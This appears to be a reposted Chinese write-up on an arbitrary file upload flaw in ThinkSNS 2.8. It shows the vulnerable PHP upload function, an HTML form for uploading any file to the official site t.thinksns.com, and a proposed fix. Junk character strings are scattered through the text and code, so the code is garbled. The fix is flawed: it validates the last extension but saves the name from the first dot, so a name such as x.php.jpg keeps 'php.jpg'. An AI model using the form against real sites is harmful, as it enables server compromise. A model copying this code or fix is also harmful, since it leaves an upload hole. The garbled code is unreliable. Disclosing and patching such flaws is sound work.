ThinkSNS 2.8任意文件上传漏洞及修复

admin

  微博上传图片时只在前端进行验证, 服务器端没有进行安全过滤。
7 K2 q. E' X6 o; ~

\api\StatusesApi.class.php

function uploadpic(){
      if( $_FILES['pic'] ){
     //执行上传操作
3 z/ o, s* g1 z4 u- B  H; Q# o     $savePath =  $this->_getSaveTempPath();
# M( Z& p( E; S* a6 W3 i6 ?     $filename = md5( time().'teste' ).'.'.substr($_FILES['pic']['name'],strpos($_FILES['pic']['name'],'.')+1);
    if(@copy($_FILES['pic']['tmp_name'], $savePath.'/'.$filename) || @move_uploaded_file($_FILES['pic']['tmp_name'], $savePath.'/'.$filename))
       {
7 g7 |. O0 c( r; a+ A        $result['boolen']    = 1;
        $result['type_data'] = 'temp/'.$filename;
        $result['picurl']    = SITE_PATH.'/uploads/temp/'.$filename;
0 q* ~& W+ v; Q" [9 ]       } else {
        $result['boolen']    = 0;
        $result['message']   = '上传失败';
       }
6 H% T) c4 L5 O) R" `8 t     }else{
         $result['boolen']    = 0;
         $result['message']   = '上传失败';
+ }, Z0 Z( }- a, U     }
1 {8 I! E7 E4 M8 h" C* qreturn $result;
# o. n! ]3 L9 \$ r0 f( H    }
2 f3 e: J  i0 m: \* w5 }unloadpic()方法没有对文件类型进行验证

可以构建表单, 选择任意文件, 提交到
/index.php?app=w3g&mod=Index&act=doPost

  f; r3 H/ u+ S  {8 t$ g. B在新提交的微博上可以找到上传的文件地址(去掉small_、middle_ 前缀)
7 H# a( Q2 k7 v/ x  |- Z0 \5 a" B' e
8 v( J! Y% s! y6 p
: D% f2 s0 ~$ o在登录thinksns官方微博后,
构建以下表单:
  [  J/ u) Z( ?  R, t5 g" G" A3 W
<form action="http://t.thinksns.com/index.php?app=w3g&mod=Index&act=doPost" method="post" enctype="multipart/form-data" />
/ t: I/ }- u4 |) G<textarea name="content">test</textarea>
3 X# V% u$ Z$ R) e# P. Zfile: <input id="file" type="file" name="pic" />
- Z* J( ~& I3 [- b<input type="submit" value="Post" />
. S6 C( v; n5 J</form>
; B1 H0 K8 a" ~5 _- f4 ]( {- l5 O+ c8 M3 j去掉缩略图的前缀(small_ )
/ w/ F1 F0 y% @5 I' ?​修复方案：

6 ^5 |; ~  q5 C
\api\StatusesApi.class.php
, x* A" ]0 T3 `! [8 U* S$ A
function uploadpic(){
     /**
# a% n% @4 S8 |5 ?      * 20121018 @yelo
      * 增加上传类型验证
$ m$ w( a/ T/ |* B  M% l1 ^      */
6 U  l5 V! [7 p     $pathinfo = pathinfo($_FILES['pic']['name']);
' F8 z$ v& @2 M( o' e     $ext = $pathinfo['extension'];
$allowExts = array('jpg', 'png', 'gif', 'jpeg');
4 q  V: t# F# Q/ b2 _3 ^& ]
. y2 X1 ]' X) N# M$ d9 u+ m     $uploadCondition = $_FILES['pic'] && in_array(strtolower($ext),$allowExts,true);
) b) Z6 Y5 W4 F: `' q
; R$ U3 N3 c  m: {7 E     if( $uploadCondition ){
) x( P+ m  K8 @     //执行上传操作
     $savePath =  $this->_getSaveTempPath();
     $filename = md5( time().'teste' ).'.'.substr($_FILES['pic']['name'],strpos($_FILES['pic']['name'],'.')+1);
    if(@copy($_FILES['pic']['tmp_name'], $savePath.'/'.$filename) || @move_uploaded_file($_FILES['pic']['tmp_name'], $savePath.'/'.$filename))
+ o- Q( V$ m, m3 p       {
        $result['boolen']    = 1;
        $result['type_data'] = 'temp/'.$filename;
        $result['picurl']    = SITE_PATH.'/uploads/temp/'.$filename;
       } else {
        $result['boolen']    = 0;
6 m$ v& y+ Y2 Q8 \        $result['message']   = '上传失败';
       }
7 c2 U6 H, \6 {1 o- x* o4 Y     }else{
         $result['boolen']    = 0;
         $result['message']   = '上传失败';
     }
. \, \% b; [& A8 f8 lreturn $result;
    }
​

; }% s) z% I! X% W4 J